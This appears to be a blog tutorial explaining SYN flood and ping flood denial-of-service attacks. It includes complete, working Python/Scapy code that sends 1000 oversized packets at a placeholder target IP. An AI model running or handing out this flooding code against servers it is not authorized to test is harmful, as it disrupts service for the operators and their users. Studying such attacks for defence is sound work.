Navigate back to the homepage

Ping and SYN flood attacks with Python and Scapy

Leo Ertuna
March 14th, 2022 · 2 min read

Following up on my previous experiments with HTTP flood we’re now gonna dive a little bit deeper and try two not so obvious flood attacks. To implement these attacks we’ll need something more versatile than basic HTTP libraries this time. We will require packet manipulation, and this is where Scapy comes into play! Needless to say Scapy is probably the most powerful networking tool available for Python. But be aware that this is not gonna be a complete introduction to Scapy, if you want to get familiar with it - please look for other tutorials. There’s also a lot of theoretical material out there about these attacks, so I’m not gonna bore with too many details, I will just show you the code and you can google the rest.

Please note that both of these attacks are pretty well-known, and most modern security systems have countermeasures in place to render these attacks ineffective.

SYN flood

The idea behind SYN flood is to send lots of TCP SYN packets, basically initiating the TCP’s three-way-handshake, which is the cornerstone of any connection established with TCP. When the client sends SYN packet to the server - the server will send back SYN-ACK packet and will expect to get back an ACK packet reply from the client. Which never happens in this attack. The attacker only send the first part of TCP’s handshake, only the SYN packet. The server replies and remains waiting for an acknowledgement, as some delays in client’s response are expected by the server (if you have slow network connection for example). This results in a half-opened connection created by the attacker. And when properly implemented and scaled as a part of distributed attacks - SYN flood can cause connection issues to legitimate clients.

Attack implementation is pretty straight-forward, we build a TCP SYN packet of size X, with a random port on the client’s side, and send it N times to targeted server’s IP/port.

1def send_syn(target_ip_address: str, target_port: int, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):
2 ip = IP(dst=target_ip_address)
3 tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
4 raw = Raw(b"X" * size_of_packet)
5 p = ip / tcp / raw
6 send(p, count=number_of_packets_to_send, verbose=0)
7 print('send_syn(): Sent ' + str(number_of_packets_to_send) + ' packets of ' + str(size_of_packet) + ' size to ' + target_ip_address + ' on port ' + str(target_port))

Ping flood

If you ever worked with web projects you know that one of the first steps in diagnosing any server related issues is to check whether the server is even alive. Welcome the ping command!

screenshot console ping success

Working server's response to ping

screenshot console ping failed

The server doesn't respond to ping

What you may not know is that ping works on a separate ICMP protocol, and it’s designed to reply back to you with packets of the same size. So when you send a ping packet the server will respond with an “echo” packet. It comes as no surprise that when scaled and distributed ping flood has the potential to consume both incoming and outgoing bandwidth of the server.

The code is very similar to SYN flood, except now we build ICMP packet instead of TCP.

1def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):
2 ip = IP(dst=target_ip_address)
3 icmp = ICMP()
4 raw = Raw(b"X" * size_of_packet)
5 p = ip / icmp / raw
6 send(p, count=number_of_packets_to_send, verbose=0)
7 print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address)

Running and comparing the attacks

With the two functions ready we can launch the attacks:

1ip = "X.X.X.X"
2port = 443
3send_syn(ip, port, number_of_packets_to_send=1000)
4send_ping(ip, number_of_packets_to_send=1000)

If you monitor your network activity you will see how this attack consumes your bandwidth. In my case my internet connection can usually handle around 80-100Mbit/s incoming and 23-29Mbit/s outgoing traffic. These attacks push my outgoing speed to its limit.

network

Attacker's network load when running SYN and ping flood

You can also note that SYN attack produces only outgoing traffic, but ping attack results in incoming traffic as well, which is almost identical to the outgoing. These are precisely the “echo” packets that are sent back from the server.

Depending on your PC/network you might benefit from running these attacks in parallel from the same machine, but for most regular PCs it won’t yield any significant results.

That’s it for today’s article, thanks for reading! The complete code fragment that was used in this tutorial:

1from scapy.layers.inet import IP, TCP, ICMP
2from scapy.packet import Raw
3from scapy.sendrecv import send
4from scapy.volatile import RandShort
5
6
7def send_syn(target_ip_address: str, target_port: int, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):
8 ip = IP(dst=target_ip_address)
9 tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
10 raw = Raw(b"X" * size_of_packet)
11 p = ip / tcp / raw
12 send(p, count=number_of_packets_to_send, verbose=0)
13 print('send_syn(): Sent ' + str(number_of_packets_to_send) + ' packets of ' + str(size_of_packet) + ' size to ' + target_ip_address + ' on port ' + str(target_port))
14
15
16def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):
17 ip = IP(dst=target_ip_address)
18 icmp = ICMP()
19 raw = Raw(b"X" * size_of_packet)
20 p = ip / icmp / raw
21 send(p, count=number_of_packets_to_send, verbose=0)
22 print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address)
23
24
25ip = "X.X.X.X"
26port = 443
27send_syn(ip, port, number_of_packets_to_send=1000)
28send_ping(ip, number_of_packets_to_send=1000)

In case you’d like to check my other work or contact me:

More articles from TekLeo

Stress testing websites with HTTP flood attack

Exploring a specific type of DDoS attacks - HTTP flood

March 1st, 2022 · 2 min read

Multithreaded HTTP requests in Python

Benchmarking two possible solutions to HTTP requests parallelization in Python

February 28th, 2022 · 2 min read
© 2020–2022 TekLeo
Link to $https://tekleo.net/Link to $https://github.com/jpleorxLink to $https://medium.com/@leo.ertunaLink to $https://www.linkedin.com/in/leo-ertuna-14b539187/Link to $mailto:leo.ertuna@gmail.com